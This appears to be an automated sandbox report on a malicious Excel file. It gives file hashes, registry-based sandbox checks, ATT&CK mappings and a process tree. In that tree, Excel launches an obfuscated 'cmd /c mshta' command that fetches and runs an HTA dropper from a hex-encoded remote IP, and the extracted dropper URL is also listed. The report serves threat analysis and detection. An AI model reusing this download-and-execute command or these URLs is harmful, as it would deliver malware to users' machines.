cac581b4bda94e49527906ad4d59a4fd545d037efbf0c8fbe825b880ba016e1c

General

Target

cac581b4bda94e49527906ad4d59a4fd545d037efbf0c8fbe825b880ba016e1c.xls
Size

102KB
MD5

17924b188299448dce956a5e6599e473
SHA1

0019c8a740f14a00d88146b2747b2809cb448962
SHA256

cac581b4bda94e49527906ad4d59a4fd545d037efbf0c8fbe825b880ba016e1c
SHA512

a562adcd03e51a5244a4abfc38e249cea982a1955792a3d85f27635cd01ff5df50701f04e7d60c2fe44814fe8788a5d8d88fd257798b06df1f01a496fb7bfee6
SSDEEP

3072:n/k3hbdlylKsgqopeJBWhZFGkE+cL2NdAFxe53lGvFTQ3IzxgdrvxpU0OKvMB:/k3hbdlylKsgqopeJBWhZFVE+W2NdAOK

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://185.7.214.7/fer/fe3.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2084	2216	cmd.exe	82

Blocklisted process makes network request 1 IoCs

flow	pid	Process
21	4876	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2216	EXCEL.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
2216	EXCEL.EXE
2216	EXCEL.EXE
2216	EXCEL.EXE
2216	EXCEL.EXE
2216	EXCEL.EXE
2216	EXCEL.EXE
2216	EXCEL.EXE
2216	EXCEL.EXE
2216	EXCEL.EXE
2216	EXCEL.EXE
2216	EXCEL.EXE
2216	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2216 wrote to memory of 2084	2216	EXCEL.EXE	86
PID 2216 wrote to memory of 2084	2216	EXCEL.EXE	86
PID 2084 wrote to memory of 4876	2084	cmd.exe	89
PID 2084 wrote to memory of 4876	2084	cmd.exe	89

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\cac581b4bda94e49527906ad4d59a4fd545d037efbf0c8fbe825b880ba016e1c.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2216
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe3.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:2084
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fe3.html
    3⤵
    - Blocklisted process makes network request
    PID:4876

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

Filesize
1KB

MD5
d7423e808065d87ce28663e6de4629ba

SHA1
88cdd41278c54aff192e5482b4efaaca5e2b5f5a

SHA256
8730a1a0653f4ce159decb227a1f41a98f183626d55dd429229a0e23718b2988

SHA512
649914089c3b77ca7ca9233c7ac6b5be3939529f270908a4d7ba3f4bfbac7bf97536ed964ebb417aed925b570414151d831a8e6f7196fc8bd8a7879d00f11b1c

Download Submit
memory/2216-12-0x00007FF9A7830000-0x00007FF9A7A25000-memory.dmp

Filesize
2.0MB

Download
memory/2216-33-0x00007FF9A7830000-0x00007FF9A7A25000-memory.dmp

Filesize
2.0MB

Download
memory/2216-3-0x00007FF9678B0000-0x00007FF9678C0000-memory.dmp

Filesize
64KB

Download
memory/2216-4-0x00007FF9678B0000-0x00007FF9678C0000-memory.dmp

Filesize
64KB

Download
memory/2216-5-0x00007FF9678B0000-0x00007FF9678C0000-memory.dmp

Filesize
64KB

Download
memory/2216-7-0x00007FF9A7830000-0x00007FF9A7A25000-memory.dmp

Filesize
2.0MB

Download
memory/2216-9-0x00007FF9A7830000-0x00007FF9A7A25000-memory.dmp

Filesize
2.0MB

Download
memory/2216-8-0x00007FF9A7830000-0x00007FF9A7A25000-memory.dmp

Filesize
2.0MB

Download
memory/2216-10-0x00007FF9A7830000-0x00007FF9A7A25000-memory.dmp

Filesize
2.0MB

Download
memory/2216-11-0x00007FF9650C0000-0x00007FF9650D0000-memory.dmp

Filesize
64KB

Download
memory/2216-6-0x00007FF9A7830000-0x00007FF9A7A25000-memory.dmp

Filesize
2.0MB

Download
memory/2216-1-0x00007FF9A78CD000-0x00007FF9A78CE000-memory.dmp

Filesize
4KB

Download
memory/2216-2-0x00007FF9678B0000-0x00007FF9678C0000-memory.dmp

Filesize
64KB

Download
memory/2216-13-0x00007FF9650C0000-0x00007FF9650D0000-memory.dmp

Filesize
64KB

Download
memory/2216-21-0x00007FF9A7830000-0x00007FF9A7A25000-memory.dmp

Filesize
2.0MB

Download
memory/2216-15-0x00007FF9A7830000-0x00007FF9A7A25000-memory.dmp

Filesize
2.0MB

Download
memory/2216-20-0x00007FF9A7830000-0x00007FF9A7A25000-memory.dmp

Filesize
2.0MB

Download
memory/2216-22-0x00007FF9A7830000-0x00007FF9A7A25000-memory.dmp

Filesize
2.0MB

Download
memory/2216-16-0x00007FF9A7830000-0x00007FF9A7A25000-memory.dmp

Filesize
2.0MB

Download
memory/2216-19-0x00007FF9A7830000-0x00007FF9A7A25000-memory.dmp

Filesize
2.0MB

Download
memory/2216-18-0x00007FF9A7830000-0x00007FF9A7A25000-memory.dmp

Filesize
2.0MB

Download
memory/2216-17-0x00007FF9A7830000-0x00007FF9A7A25000-memory.dmp

Filesize
2.0MB

Download
memory/2216-14-0x00007FF9A7830000-0x00007FF9A7A25000-memory.dmp

Filesize
2.0MB

Download
memory/2216-34-0x00007FF9A78CD000-0x00007FF9A78CE000-memory.dmp

Filesize
4KB

Download
memory/2216-38-0x00007FF9A7830000-0x00007FF9A7A25000-memory.dmp

Filesize
2.0MB

Download
memory/2216-0-0x00007FF9678B0000-0x00007FF9678C0000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads